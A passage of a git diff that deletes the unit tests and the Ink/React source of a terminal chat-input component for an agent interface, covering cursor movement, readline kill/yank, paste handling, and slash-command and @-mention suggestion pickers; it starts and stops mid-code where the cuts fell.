expect(applyKey(state("hello", 5), "", key({ backspace: true }))).toEqual(state("hell", 4)); - }); - - test("deletes char before cursor mid-string", () => { - // cursor=3 in "helo" → deletes index 2 ('l') → "heo", cursor=2 - expect(applyKey(state("helo", 3), "", key({ backspace: true }))).toEqual(state("heo", 2)); - }); - - test("no-op at position 0", () => { - expect(applyKey(state("hi", 0), "", key({ backspace: true }))).toEqual(state("hi", 0)); - }); - - test("no-op on empty string", () => { - expect(applyKey(state("", 0), "", key({ backspace: true }))).toEqual(state("", 0)); - }); -}); - -describe("applyKey — forward delete", () => { - test("deletes char at cursor when not at end", () => { - expect(applyKey(state("hello", 0), "", key({ delete: true }))).toEqual(state("ello", 0)); - }); - - test("deletes char at cursor mid-string", () => { - expect(applyKey(state("helo", 2), "", key({ delete: true }))).toEqual(state("heo", 2)); - }); - - test("no-op at end of string", () => { - expect(applyKey(state("hi", 2), "", key({ delete: true }))).toEqual(state("hi", 2)); - }); - - test("no-op on empty string", () => { - expect(applyKey(state("", 0), "", key({ delete: true }))).toEqual(state("", 0)); - }); -}); - -describe("applyKey — left arrow", () => { - test("moves cursor left", () => { - expect(applyKey(state("hi", 2), "", key({ leftArrow: true }))).toEqual(state("hi", 1)); - }); - - test("clamps at 0", () => { - expect(applyKey(state("hi", 0), "", key({ leftArrow: true }))).toEqual(state("hi", 0)); - }); -}); - -describe("applyKey — right arrow", () => { - test("moves cursor right", () => { - expect(applyKey(state("hi", 0), "", key({ rightArrow: true }))).toEqual(state("hi", 1)); - }); - - test("clamps at string length", () => { - expect(applyKey(state("hi", 2), "", key({ rightArrow: true }))).toEqual(state("hi", 2)); - }); -}); - -describe("applyKey — word movement", () => { - test("Alt+Left moves to the start of the current word", () => { - expect(applyKey(state("hello world", 8), "", key({ leftArrow: true, meta: true }))).toEqual(state("hello world", 6)); - }); - - test("Alt+Left skips spaces before moving to the previous word", () => { - expect(applyKey(state("hello world", 7), "", key({ leftArrow: true, meta: true }))).toEqual(state("hello world", 0)); - }); - - test("Alt+Right moves to the end of the current word", () => { - expect(applyKey(state("hello world", 2), "", key({ rightArrow: true, meta: true }))).toEqual(state("hello world", 5)); - }); - - test("Alt+Right skips spaces before moving to the next word end", () => { - expect(applyKey(state("hello world", 5), "", key({ rightArrow: true, meta: true }))).toEqual(state("hello world", 12)); - }); - - test("escape-prefixed Option+Left moves by word when the terminal does not set meta", () => { - expect(applyKey(state("hello world", 8), "\u001B[D", key({ leftArrow: true }))).toEqual(state("hello world", 6)); - }); - - test("escape-prefixed Option+Right moves by word when the terminal does not set meta", () => { - expect(applyKey(state("hello world", 2), "\u001B[C", key({ rightArrow: true }))).toEqual(state("hello world", 5)); - }); - - test("readline Option+B moves to the previous word", () => { - expect(applyKey(state("hello world", 8), "b", key({ meta: true }))).toEqual(state("hello world", 6)); - }); - - test("readline Option+F moves to the next word end", () => { - expect(applyKey(state("hello world", 2), "f", key({ meta: true }))).toEqual(state("hello world", 5)); - }); -}); - -describe("applyKey — line movement", () => { - test("Cmd+Left moves to the current line start", () => { - expect(applyKey(state("one\ntwo three", 8), "", key({ leftArrow: true, super: true }))).toEqual(state("one\ntwo three", 4)); - }); - - test("Cmd+Right moves to the current line end", () => { - expect(applyKey(state("one\ntwo three\nfour", 6), "", key({ rightArrow: true, super: true }))).toEqual(state("one\ntwo three\nfour", 13)); - }); - - test("Home and End use current line boundaries", () => { - expect(applyKey(state("one\ntwo", 5), "", key({ home: true }))).toEqual(state("one\ntwo", 4)); - expect(applyKey(state("one\ntwo", 5), "", key({ end: true }))).toEqual(state("one\ntwo", 7)); - }); -}); - -describe("applyKey — Home / End via ctrl sequences", () => { - test("Home (ctrl+a) jumps to start", () => { - // Ink reports ctrl+a as input='a' with ctrl=true; we treat it as Home - expect(applyKey(state("hello", 3), "a", key({ ctrl: true }))).toEqual(state("hello", 0)); - }); - - test("End (ctrl+e) jumps to end", () => { - expect(applyKey(state("hello", 1), "e", key({ ctrl: true }))).toEqual(state("hello", 5)); - }); - - test("other ctrl combos are no-ops", () => { - expect(applyKey(state("hello", 3), "z", key({ ctrl: true }))).toEqual(state("hello", 3)); - }); -}); - -describe("applyKey — readline character movement and deletion", () => { - test("ctrl+b moves one character left", () => { - expect(applyKey(state("hello", 3), "b", key({ ctrl: true }))).toEqual(state("hello", 2)); - }); - - test("ctrl+b clamps at 0", () => { - expect(applyKey(state("hello", 0), "b", key({ ctrl: true }))).toEqual(state("hello", 0)); - }); - - test("ctrl+f moves one character right", () => { - expect(applyKey(state("hello", 3), "f", key({ ctrl: true }))).toEqual(state("hello", 4)); - }); - - test("ctrl+f clamps at end", () => { - expect(applyKey(state("hello", 5), "f", key({ ctrl: true }))).toEqual(state("hello", 5)); - }); - - test("ctrl+d deletes the character at point", () => { - expect(applyKey(state("hello", 1), "d", key({ ctrl: true }))).toEqual(state("hllo", 1)); - }); - - test("ctrl+d at end of buffer is a no-op", () => { - expect(applyKey(state("hello", 5), "d", key({ ctrl: true }))).toEqual(state("hello", 5)); - }); -}); - -describe("applyKey — keys that should not mutate state", () => { - test("return does not modify value", () => { - expect(applyKey(state("hello", 5), "", key({ return: true }))).toEqual(state("hello", 5)); - }); - - test("escape does not modify value", () => { - expect(applyKey(state("hello", 3), "", key({ escape: true }))).toEqual(state("hello", 3)); - }); - - test("tab does not modify value", () => { - expect(applyKey(state("hello", 2), "", key({ tab: true }))).toEqual(state("hello", 2)); - }); - - test("meta combos are no-ops", () => { - expect(applyKey(state("hello", 2), "x", key({ meta: true }))).toEqual(state("hello", 2)); - }); - - test("up/down arrows are no-ops (reserved for suggestion nav)", () => { - expect(applyKey(state("hello", 2), "", key({ upArrow: true }))).toEqual(state("hello", 2)); - expect(applyKey(state("hello", 2), "", key({ downArrow: true }))).toEqual(state("hello", 2)); - }); -}); - -describe("applyPaste — insertion at cursor", () => { - test("empty text is a no-op", () => { - expect(applyPaste(state("hello", 3), "")).toEqual(state("hello", 3)); - }); - - test("inserts at the start of input", () => { - expect(applyPaste(state("world", 0), "hello ")).toEqual(state("hello world", 6)); - }); - - test("appends at the end of input", () => { - expect(applyPaste(state("hello", 5), " world")).toEqual(state("hello world", 11)); - }); - - test("inserts in the middle of input", () => { - expect(applyPaste(state("helorld", 3), "lo w")).toEqual(state("hello world", 7)); - }); - - test("preserves cursor when paste text is multi-line (newlines)", () => { - const result = applyPaste(state("ab", 1), "\nline2\nline3"); - expect(result.value).toBe("a\nline2\nline3b"); - expect(result.cursor).toBe(13); // 1 + len("\nline2\nline3") = 1 + 12 - }); - - test("paste with @ symbols updates state the caller feeds to atMention.refresh", () => { - // The paste handler's atMention.refresh(newValue, newCursor) call receives - // the same value/cursor that applyPaste returns — verify the contract. - const result = applyPaste(state("hello ", 6), "@user/project"); - expect(result.value).toBe("hello @user/project"); - expect(result.cursor).toBe(19); - }); - - test("paste at cursor 0 on empty input", () => { - expect(applyPaste(state("", 0), "pasted")).toEqual(state("pasted", 6)); - }); - - test("paste at cursor past end is clamped by slice semantics (same as appending)", () => { - // Cursor past value.length: slice are forgiving and treat it like end. - expect(applyPaste(state("hi", 10), "!")).toEqual(state("hi!", 11)); - }); -}); - -// applyKillYank drives the readline kill/yank commands. Chains thread the -// returned ring through successive calls the way the component's ref does. -describe("applyKillYank — kill commands", () => { - const run = ( - value: string, - cursor: number, - input: string, - k: Partial, - ring: KillRing = emptyKillRing, - ) => applyKillYank(state(value, cursor), ring, input, key(k)); - - test("returns null for keys it does not own", () => { - expect(run("hello", 3, "x", {})).toBeNull(); - expect(run("hello", 3, "z", { ctrl: true })).toBeNull(); - expect(run("hello", 3, "x", { meta: true })).toBeNull(); - }); - - test("C-k kills from cursor to end of line", () => { - const r = run("hello world", 5, "k", { ctrl: true })!; - expect(r.state).toEqual(state("hello", 5)); - expect(r.ring.entries).toEqual([" world"]); - }); - - test("C-k at end of a line kills the newline", () => { - const r = run("one\ntwo", 3, "k", { ctrl: true })!; - expect(r.state).toEqual(state("onetwo", 3)); - expect(r.ring.entries).toEqual(["\n"]); - }); - - test("C-k at end of buffer is a no-op that keeps the ring", () => { - const r = run("hello", 5, "k", { ctrl: true })!; - expect(r.state).toEqual(state("hello", 5)); - expect(r.ring.entries).toEqual([]); - }); - - test("C-u kills from line start to cursor", () => { - const r = run("hello world", 5, "u", { ctrl: true })!; - expect(r.state).toEqual(state(" world", 0)); - expect(r.ring.entries).toEqual(["hello"]); - }); - - test("C-u respects the current line in multi-line input", () => { - const r = run("one\ntwo three", 8, "u", { ctrl: true })!; - expect(r.state).toEqual(state("one\nthree", 4)); - expect(r.ring.entries).toEqual(["two "]); - }); - - test("C-w kills back to the previous word start", () => { - const r = run("hello world", 11, "w", { ctrl: true })!; - expect(r.state).toEqual(state("hello ", 6)); - expect(r.ring.entries).toEqual(["world"]); - }); - - test("M-d kills forward to the next word end", () => { - const r = run("hello world", 0, "d", { meta: true })!; - expect(r.state).toEqual(state(" world", 0)); - expect(r.ring.entries).toEqual(["hello"]); - }); - - test("M-backspace kills back to the previous word start", () => { - const r = run("hello world", 11, "", { meta: true, backspace: true })!; - expect(r.state).toEqual(state("hello ", 6)); - expect(r.ring.entries).toEqual(["world"]); - }); - - test("consecutive kills accumulate into one ring entry", () => { - const first = run("foo bar baz", 0, "d", { meta: true })!; - const second = applyKillYank(first.state, first.ring, "d", key({ meta: true }))!; - expect(second.state).toEqual(state(" baz", 0)); - expect(second.ring.entries).toEqual(["foo bar"]); - }); -}); - -describe("applyKillYank — yank and yank-pop", () => { - const killOf = (text: string): KillRing => - applyKillYank(state(text, 0), emptyKillRing, "k", key({ ctrl: true }))!.ring; - - test("C-y with an empty ring is a handled no-op", () => { - const r = applyKillYank(state("hi", 1), emptyKillRing, "y", key({ ctrl: true }))!; - expect(r.state).toEqual(state("hi", 1)); - }); - - test("C-y inserts the most recent kill at the cursor", () => { - const ring = killOf("world"); - const r = applyKillYank(state("hello ", 6), ring, "y", key({ ctrl: true }))!; - expect(r.state).toEqual(state("hello world", 11)); - }); - - test("M-y without a preceding yank is unhandled", () => { - const ring = killOf("world"); - expect(applyKillYank(state("hello", 5), ring, "y", key({ meta: true }))).toBeNull(); - }); - - test("M-y after C-y replaces the yank with the previous kill", () => { - let ring = killOf("old"); - // A fresh kill after a break: simulate a second, newer kill. - ring = applyKillYank(state("new", 0), { ...ring, lastAction: "other" }, "k", key({ ctrl: true }))!.ring; - const yanked = applyKillYank(state("> ", 2), ring, "y", key({ ctrl: true }))!; - expect(yanked.state).toEqual(state("> new", 5)); - const popped = applyKillYank(yanked.state, yanked.ring, "y", key({ meta: true }))!; - expect(popped.state).toEqual(state("> old", 5)); - }); - - test("M-y cycles back around to the newest kill", () => { - let ring = killOf("old"); - ring = applyKillYank(state("new", 0), { ...ring, lastAction: "other" }, "k", key({ ctrl: true }))!.ring; - const yanked = applyKillYank(state("", 0), ring, "y", key({ ctrl: true }))!; - const pop1 = applyKillYank(yanked.state, yanked.ring, "y", key({ meta: true }))!; - const pop2 = applyKillYank(pop1.state, pop1.ring, "y", key({ meta: true }))!; - expect(pop2.state).toEqual(state("new", 3)); - }); - - test("kill then yank round-trips multi-line kills", () => { - const killed = applyKillYank(state("one\ntwo", 3), emptyKillRing, "k", key({ ctrl: true }))!; - const killed2 = applyKillYank(killed.state, killed.ring, "k", key({ ctrl: true }))!; - expect(killed2.state).toEqual(state("one", 3)); - const yanked = applyKillYank(killed2.state, killed2.ring, "y", key({ ctrl: true }))!; - expect(yanked.state).toEqual(state("one\ntwo", 7)); - }); -}); - -// Integration-test note: Inactive-guard tests (paste ignored when active=false) -// require rendering ChatInput inside an Ink test harness or mocking Ink's -// usePaste to capture the callback and verify it short-circuits on !active. -// This cannot be done purely — it lives in a future e2e / integration test file. diff --git a/src/tui/components/chat-input.tsx b/src/tui/components/chat-input.tsx deleted file mode 100644 index 8f8f7fe9c..000000000 --- a/src/tui/components/chat-input.tsx +++ /dev/null @@ -1,894 +0,0 @@ -import { Box, Text, useInput, usePaste } from "ink"; -import { useState, useMemo, useRef } from "react"; -import type { ReactNode } from "react"; -import { getCommand, listCommands } from "../commands/registry.js"; -import type { CommandContext, CommandResult, SubcommandDefinition } from "../commands/registry.js"; -import { useAtSuggestions, AtSuggestions } from "./at-mention/index.js"; -import { color } from "../theme.js"; -import { - locatePromptCursor, - promptContentWidth, - promptScrollWindow, - promptVisualLines, -} from "../prompt-layout.js"; -import { composePromptActionBarModelLabel } from "./prompt-action-bar-label.js"; -import { - beginYank, - breakKillSequence, - emptyKillRing, - recordKill, - rotateYank, - type KillRing, -} from "../kill-ring.js"; - -export type ChatInputProps = { - onSubmit: (message: string) => void; - onCommand: (result: CommandResult) => void; - onPasteImage?: () => void; - onPasteText?: (text: string) => boolean; - commandContext: CommandContext; - value: string; - onChange: (value: string) => void; - cwd: string; - // Border color for the input box. The slash/@ pickers render above the box. - borderColor?: string; - // When false, the input ignores all keystrokes. Set while an overlay or modal - // is capturing input so keys do not leak into the prompt underneath it. - active?: boolean; - // Number of messages queued for delivery at the next inference boundary. - queuedCount?: number; - // When true, Enter interrupts the running agent with the current input. - // Alt+Enter queues the message as a follow-up instead. - isProcessing?: boolean; - // When false while processing, Enter queues via onSubmit instead of onInterrupt. - steerOnEnter?: boolean; - // Called when the user presses Enter while isProcessing is true. - onInterrupt?: (message: string) => void; - /** Recall previously sent messages (readline-style). Return true when handled. */ - onSentHistoryPrevious?: () => boolean; - onSentHistoryNext?: () => boolean; - onSentHistoryExitBrowse?: () => void; - /** True while stepping through sent history (relaxes Up-at-start-only for older entries). */ - sentHistoryBrowsing?: boolean; - // Session profile name shown before model on the action bar when set. - profile?: string; - // Active model name shown right-aligned on the action bar above the box. - model?: string; - // Reasoning effort appended after the model when set. - effort?: string; - // Rotating action verb shown to the left of the steer hint while processing. - verb?: string; - // Terminal row count, used to cap the box at 40vh and scroll internally. - rows?: number; - // Terminal column count, used to pre-wrap prompt text before Ink lays it out. - columns?: number; - attachmentSummary?: string; - canSubmitEmpty?: boolean; -}; - -// Action bar above the prompt: revolving verb + interrupt/queue hint on the -// left, profile · model · effort right-aligned. Null when nothing to show. -function PromptActionBar({ - showSteerHint, - value, - steerOnEnter, - queuedCount, - verb, - profile, - model, - effort, - attachmentSummary, -}: { - showSteerHint: boolean; - value: string; - steerOnEnter: boolean; - queuedCount: number; - verb?: string; - profile?: string; - model?: string; - effort?: string; - attachmentSummary?: string; -}): ReactNode { - // Enter and Alt+Enter are no-ops on an empty field, so with nothing typed - // the hint advertises the interrupt chord instead. - const hasPromptText = value.trim().length > 0; - const actionsText = !hasPromptText - ? "Esc Esc interrupt" - : !steerOnEnter - ? "Enter queues for orchestrator" - : "Enter steer · Alt+Enter queue"; - const steerText = queuedCount > 0 ? `${queuedCount} queued · ${actionsText}` : actionsText; - // exactOptionalPropertyTypes: omit undefined keys rather than pass them. - const modelText = composePromptActionBarModelLabel({ - ...(profile !== undefined ? { profile } : {}), - ...(model !== undefined ? { model } : {}), - ...(effort !== undefined ? { effort } : {}), - }); - const showAttachments = attachmentSummary !== undefined && attachmentSummary.length > 0; - if (!showSteerHint && modelText === undefined && !showAttachments) return null; - return ( - - {showAttachments && ( - {attachmentSummary} - )} - {showSteerHint && ( - - {verb !== undefined && verb.length > 0 ? `${verb} · ` : ""}{steerText} - - )} - - {modelText !== undefined && ( - {modelText} - )} - - ); -} - -// The subset of Ink's Key type that applyKey needs. Keeping only what we use -// prevents coupling to Ink's full Key shape in test code. -export type InputKey = { - leftArrow: boolean; - rightArrow: boolean; - backspace: boolean; - delete: boolean; - return: boolean; - escape: boolean; - upArrow: boolean; - downArrow: boolean; - home: boolean; - end: boolean; - tab: boolean; - ctrl: boolean; - meta: boolean; - shift: boolean; - super: boolean; -}; - -export type EditState = { - value: string; - cursor: number; -}; - -const isWordSeparator = (char: string): boolean => /\s/.test(char); - -function previousWordStart(value: string, cursor: number): number { - let next = cursor; - while (next > 0 && isWordSeparator(value[next - 1]!)) next--; - while (next > 0 && !isWordSeparator(value[next - 1]!)) next--; - return next; -} - -function nextWordEnd(value: string, cursor: number): number { - let next = cursor; - while (next < value.length && isWordSeparator(value[next]!)) next++; - while (next < value.length && !isWordSeparator(value[next]!)) next++; - return next; -} - -function lineStart(value: string, cursor: number): number { - const previousBreak = value.lastIndexOf("\n", Math.max(0, cursor - 1)); - return previousBreak === -1 ? 0 : previousBreak + 1; -} - -function lineEnd(value: string, cursor: number): number { - const nextBreak = value.indexOf("\n", cursor); - return nextBreak === -1 ? value.length : nextBreak; -} - -// Pure function: given the current editor state and pasted text, return the -// next editor state. Mirrors the paste-handler logic without the component -// side effects (usePaste, onChange, atMention.refresh). -export function applyPaste(state: EditState, text: string): EditState { - if (text.length === 0) return state; - const { value, cursor } = state; - return { - value: value.slice(0, cursor) + text + value.slice(cursor), - cursor: cursor + text.length, - }; -} - -export function applyKey(state: EditState, input: string, key: InputKey): EditState { - // Pure function: given the current editor state, an input character, and the - // key flags from Ink, return the next editor state. No side effects. - // Up/down arrows are not handled here — the caller deals with them (suggestion - // navigation or cursor-line movement) before reaching this function. - const { value, cursor } = state; - - if (key.meta && input === "b") { - return { value, cursor: previousWordStart(value, cursor) }; - } - - if (key.meta && input === "f") { - return { value, cursor: nextWordEnd(value, cursor) }; - } - - if (key.leftArrow) { - if (key.super) return { value, cursor: lineStart(value, cursor) }; - if (key.meta || input.startsWith("\u001B")) return { value, cursor: previousWordStart(value, cursor) }; - return { value, cursor: Math.max(0, cursor - 1) }; - } - - if (key.rightArrow) { - if (key.super) return { value, cursor: lineEnd(value, cursor) }; - if (key.meta || input.startsWith("\u001B")) return { value, cursor: nextWordEnd(value, cursor) }; - return { value, cursor: Math.min(value.length, cursor + 1) }; - } - - if (key.home) { - return { value, cursor: lineStart(value, cursor) }; - } - - if (key.end) { - return { value, cursor: lineEnd(value, cursor) }; - } - - if (key.backspace) { - if (cursor === 0) return state; - return { - value: value.slice(0, cursor - 1) + value.slice(cursor), - cursor: cursor - 1, - }; - } - - if (key.delete) { - if (cursor >= value.length) return state; - return { - value: value.slice(0, cursor) + value.slice(cursor + 1), - cursor, - }; - } - - // Shift+Enter (and Alt/Option+Enter, which some terminals send instead) - // inserts a newline rather than submitting. Plain Enter is handled by the - // caller as submit. - if (key.return && (key.shift || key.meta)) { - return { - value: value.slice(0, cursor) + "\n" + value.slice(cursor), - cursor: cursor + 1, - }; - } - - // Readline control bindings: C-a/C-e jump, C-b/C-f move by one character, - // C-d deletes the character at point (delete-char does not touch the kill - // ring, matching readline). Kill commands (C-k, C-u, C-w) live in - // applyKillYank because they need the kill ring. All other ctrl combos - // are ignored. - if (key.ctrl) { - if (input === "a") return { value, cursor: 0 }; - if (input === "e") return { value, cursor: value.length }; - if (input === "b") return { value, cursor: Math.max(0, cursor - 1) }; - if (input === "f") return { value, cursor: Math.min(value.length, cursor + 1) }; - if (input === "d") { - if (cursor >= value.length) return state; - return { value: value.slice(0, cursor) + value.slice(cursor + 1), cursor }; - } - return state; - } - - // All remaining modifier combos and structural keys (return, escape, tab, - // meta) are no-ops in the pure layer. The caller handles them separately. - if (key.meta || key.return || key.escape || key.tab || key.upArrow || key.downArrow) { - return state; - } - - if (input.length === 0) return state; - - // Any input still starting with ESC here is an unrecognized control sequence - // (e.g. a mouse SGR sequence that slipped past the stdin filter). It is - // never printable text and must not be spliced into the buffer. - if (input.charCodeAt(0) === 0x1b) return state; - - return { - value: value.slice(0, cursor) + input + value.slice(cursor), - cursor: cursor + input.length, - }; -} - -export type KillYankResult = { state: EditState; ring: KillRing }; - -// Pure readline kill/yank layer, checked before applyKey. Returns null when -// the keystroke is not a kill or yank command so the caller falls through. -// Word boundaries are whitespace-based, matching the Alt+arrow movement above. -export function applyKillYank( - state: EditState, - ring: KillRing, - input: string, - key: InputKey, -): KillYankResult | null { - const { value, cursor } = state; - - const kill = (start: number, end: number, direction: "forward" | "backward"): KillYankResult => { - const text = value.slice(start, end); - if (text.length === 0) return { state, ring }; - return { - state: { value: value.slice(0, start) + value.slice(end), cursor: start }, - ring: recordKill(ring, text, direction), - }; - }; - - // M-d: kill to word end. M-backspace: kill to word start. - if (key.meta && !key.ctrl) { - if (input === "d") return kill(cursor, nextWordEnd(value, cursor), "forward"); - if (key.backspace) return kill(previousWordStart(value, cursor), cursor, "backward"); - if (input === "y") { - const rotated = rotateYank(ring); - if (rotated === null) return null; - const { span, text } = rotated; - // The last yank's span must still be intact (submit/clear invalidates it). - if (span.end > value.length) return null; - return { - state: { - value: value.slice(0, span.start) + text + value.slice(span.end), - cursor: span.start + text.length, - }, - ring: rotated.ring, - }; - } - return null; - } - - if (key.ctrl && !key.meta) { - // C-k: kill to line end; at line end, kill the newline itself. - if (input === "k") { - let end = lineEnd(value, cursor); - if (end === cursor && cursor < value.length) end = cursor + 1; - return kill(cursor, end, "forward"); - } - // C-u: kill back to line start (unix-line-discard). - if (input === "u") return kill(lineStart(value, cursor), cursor, "backward"); - // C-w: kill back to word start (unix-word-rubout). - if (input === "w") return kill(previousWordStart(value, cursor), cursor, "backward"); - // C-y: yank the most recent kill at point. - if (input === "y") { - const yank = beginYank(ring, cursor); - if (yank === null) return { state, ring }; - return { - state: { - value: value.slice(0, cursor) + yank.text + value.slice(cursor), - cursor: cursor + yank.text.length, - }, - ring: yank.ring, - }; - } - return null; - } - - return null; -} - -type SlashState = - | { kind: "command"; prefix: string } - | { kind: "subcommand"; parentName: string; prefix: string }; - -function parseSlashState(value: string): SlashState | null { - if (!value.startsWith("/")) return null; - const spaceIdx = value.indexOf(" "); - if (spaceIdx === -1) return { kind: "command", prefix: value.slice(1) }; - const parentName = value.slice(1, spaceIdx); - const cmd = getCommand(parentName); - // Open the post-command picker for subcommands and/or a free-form argument-hint - // (e.g. /goal, /linear-create show greyed guidance until args are typed). - const hasSubs = cmd?.subcommands !== undefined && cmd.subcommands.length > 0; - const hasHint = typeof cmd?.argumentHint === "string" && cmd.argumentHint.length > 0; - if (hasSubs || hasHint) { - return { kind: "subcommand", parentName, prefix: value.slice(spaceIdx + 1) }; - } - return null; -} - -type Suggestion = - | { kind: "command"; name: string; description: string; argumentHint?: string } - | { kind: "subcommand"; parentName: string; sub: SubcommandDefinition } - | { kind: "hint"; parentName: string; hint: string }; - - - -function slashPrefix(value: string): string | null { - if (!value.startsWith("/")) return null; - const spaceIdx = value.indexOf(" "); - return spaceIdx === -1 ? value.slice(1) : null; -} - -export function ChatInput({ - onSubmit, - onCommand, - onPasteImage, - onPasteText, - commandContext, - value, - onChange, - cwd, - active = true, - queuedCount = 0, - isProcessing = false, - steerOnEnter = true, - onInterrupt, - onSentHistoryPrevious, - onSentHistoryNext, - onSentHistoryExitBrowse, - sentHistoryBrowsing = false, - borderColor = color("dim"), - profile, - model, - effort, - verb, - rows, - columns, - attachmentSummary, - canSubmitEmpty = false, -}: ChatInputProps): ReactNode { - const [cursor, setCursor] = useState(value.length); - const [selectedIdx, setSelectedIdx] = useState(0); - // The last value this component produced itself. Used to tell an external - // value change (tab-completion, a programmatic set) apart from our own edit - // echoed back through the value prop — only the former should jump the cursor - // to the end. Without this, every keystroke snaps the cursor away from mid-line. - const selfSetValue = useRef(null); - - // Reset the cursor to the end only when value changes from the OUTSIDE. - // Adjust during render (not an effect) so the caret lands in the same paint - // as the external value update — no extra commit for the cursor alone. - const [prevValue, setPrevValue] = useState(value); - if (value !== prevValue) { - setPrevValue(value); - if (value !== selfSetValue.current) { - setCursor(value.length); - } - } - - const atMention = useAtSuggestions(cwd); - - // Kill ring for readline kill/yank. A ref, not state: every mutation also - // changes value or cursor, so no render depends on the ring alone. - const killRing = useRef(emptyKillRing); - - const slashState = useMemo(() => parseSlashState(value), [value]); - const suggestions = useMemo((): Suggestion[] => { - if (slashState === null) return []; - if (slashState.kind === "command") { - return listCommands() - .filter((c) => c.name.startsWith(slashState.prefix)) - .map((c) => ({ - kind: "command" as const, - name: c.name, - description: c.description, - ...(c.argumentHint !== undefined ? { argumentHint: c.argumentHint } : {}), - })); - } - const cmd = getCommand(slashState.parentName); - if (cmd === undefined) return []; - const out: Suggestion[] = []; - // Free-form arg guidance only while the operator has not started typing. - if ( - slashState.prefix.length === 0 && - typeof cmd.argumentHint === "string" && - cmd.argumentHint.length > 0 - ) { - out.push({ kind: "hint", parentName: slashState.parentName, hint: cmd.argumentHint }); - } - if (cmd.subcommands !== undefined) { - for (const s of cmd.subcommands) { - if (s.name.startsWith(slashState.prefix)) { - out.push({ kind: "subcommand", parentName: slashState.parentName, sub: s }); - } - } - } - return out; - }, [slashState]); - - - - // Clamp selectedIdx whenever suggestions change. - const clampedIdx = suggestions.length > 0 ? Math.min(selectedIdx, suggestions.length - 1) : 0; - const atClampedIdx = atMention.suggestions.length > 0 - ? Math.min(atMention.selectedIdx, atMention.suggestions.length - 1) - : 0; - - const dispatchCommand = (raw: string) => { - const trimmed = raw.trim(); - const spaceIdx = trimmed.indexOf(" "); - const name = spaceIdx === -1 ? trimmed.slice(1) : trimmed.slice(1, spaceIdx); - const args = spaceIdx === -1 ? "" : trimmed.slice(spaceIdx + 1); - const def = getCommand(name); - if (def !== undefined) { - onCommand(def.handler(args, commandContext)); - } else { - onCommand({ type: "message", text: `Unknown command: /${name}` }); - } - }; - - const resetField = () => { - onChange(""); - setCursor(0); - setSelectedIdx(0); - atMention.clear(); - }; - - // Splice a completed @path into the input at the current atState position. - const completeAtSelection = (selected: string) => { - if (atMention.atState === null) return; - const { atStart, prefix } = atMention.atState; - const trailing = selected.endsWith("/") ? "" : " "; - // Splice replaces the @token span (from atStart to the end of the typed - // prefix), not up to the cursor — the cursor may have been moved mid-token. - const tokenEnd = atStart + 1 + prefix.length; - const completed = value.slice(0, atStart) + "@" + selected + trailing + value.slice(tokenEnd); - const newCursor = atStart + 1 + selected.length + trailing.length; - selfSetValue.current = completed; - onChange(completed); - setCursor(newCursor); - atMention.clear(); - }; - - useInput((input, key) => { - if (((key.ctrl && input === "v") || input === "\u0016") && onPasteImage !== undefined) { - onPasteImage(); - return; - } - - // Kill/yank dispatch runs first: the suggestion pickers below never claim - // these chords, and readline semantics need every non-kill keystroke to - // break kill accumulation and the M-y rotation window — including keys - // that return early from the picker branches. - const killYank = applyKillYank({ value, cursor }, killRing.current, input, key); - if (killYank !== null) { - killRing.current = killYank.ring; - const nextState = killYank.state; - if (nextState.value !== value) { - onSentHistoryExitBrowse?.(); - selfSetValue.current = nextState.value; - onChange(nextState.value); - setCursor(nextState.cursor); - atMention.refresh(nextState.value, nextState.cursor); - } else if (nextState.cursor !== cursor) { - setCursor(nextState.cursor); - atMention.refresh(nextState.value, nextState.cursor); - } - return; - } - killRing.current = breakKillSequence(killRing.current); - - // @ picker takes priority over slash suggestions (they are mutually exclusive - // by construction: slash state only fires when value starts with /). - if (atMention.suggestions.length > 0) { - if (key.upArrow) { atMention.selectUp(); return; } - if (key.downArrow) { atMention.selectDown(); return; } - if (key.tab || key.return) { - const sel = atMention.suggestions[atClampedIdx]; - if (sel !== undefined) completeAtSelection(sel); - return; - } - if (key.escape) { - atMention.clear(); - return; - } - } - - if (suggestions.length > 0) { - if (key.upArrow) { - setSelectedIdx((i) => Math.max(0, i - 1)); - return; - } - if (key.downArrow) { - setSelectedIdx((i) => Math.min(suggestions.length - 1, i + 1)); - return; - } - if (key.tab) { - const sel = suggestions[clampedIdx]; - if (sel !== undefined) { - if (sel.kind === "command") { - onChange(`/${sel.name} `); - } else if (sel.kind === "subcommand") { - onChange(`/${sel.parentName} ${sel.sub.name} `); - } else { - // Argument-hint row — leave `/cmd ` so the operator types real args. - onChange(`/${sel.parentName} `); - } - } - setSelectedIdx(0); - return; - } - if (key.return) { - const sel = suggestions[clampedIdx]; - // Hint rows are guidance only — Enter does not submit incomplete input. - if (sel?.kind === "hint") { - onChange(`/${sel.parentName} `); - setSelectedIdx(0); - return; - } - let completed = value; - if (sel !== undefined) { - if (sel.kind === "command") completed = `/${sel.name}`; - else if (sel.kind === "subcommand") completed = `/${sel.parentName} ${sel.sub.name}`; - } - dispatchCommand(completed); - resetField(); - return; - - } - - - if (key.escape) { - resetField(); - return; - } - } - - if (key.upArrow || key.downArrow) { - const lineBreaks: number[] = []; - for (let i = 0; i < value.length; i++) { - if (value[i] === "\n") lineBreaks.push(i); - } - if (lineBreaks.length === 0) { - if ( - key.upArrow - && (sentHistoryBrowsing || cursor === 0) - && onSentHistoryPrevious?.() - ) return; - if ( - key.downArrow - && (sentHistoryBrowsing || cursor === value.length) - && onSentHistoryNext?.() - ) return; - } - if (lineBreaks.length > 0) { - const lineStarts: number[] = [0, ...lineBreaks.map((p) => p + 1)]; - const lineEnds: number[] = [...lineBreaks, value.length]; - let li = 0; - for (let i = 0; i < lineStarts.length; i++) { - if (cursor >= lineStarts[i]! && cursor <= lineEnds[i]!) { li = i; break; } - } - const col = cursor - lineStarts[li]!; - if (key.upArrow && li > 0) { - const targetStart = lineStarts[li - 1]!; - const targetEnd = lineEnds[li - 1]!; - setCursor(Math.min(targetStart + col, targetEnd)); - return; - } - if (key.downArrow && li < lineStarts.length - 1) { - const targetStart = lineStarts[li + 1]!; - const targetEnd = lineEnds[li + 1]!; - setCursor(Math.min(targetStart + col, targetEnd)); - return; - } - } - return; - } - - if (isProcessing && input.includes("\u001B") && (input.includes("\r") || input.includes("\n"))) { - const trimmed = value.trim(); - if (trimmed.length > 0 || canSubmitEmpty) { - if (trimmed.startsWith("/")) { - dispatchCommand(trimmed); - } else { - onSubmit(trimmed); - } - resetField(); - } - return; - } - - if (input === "\u001B") return; - - if (key.return && !key.shift && !key.meta) { - const trimmed = value.trim(); - if (trimmed.length > 0 || canSubmitEmpty) { - if (trimmed.startsWith("/")) { - dispatchCommand(trimmed); 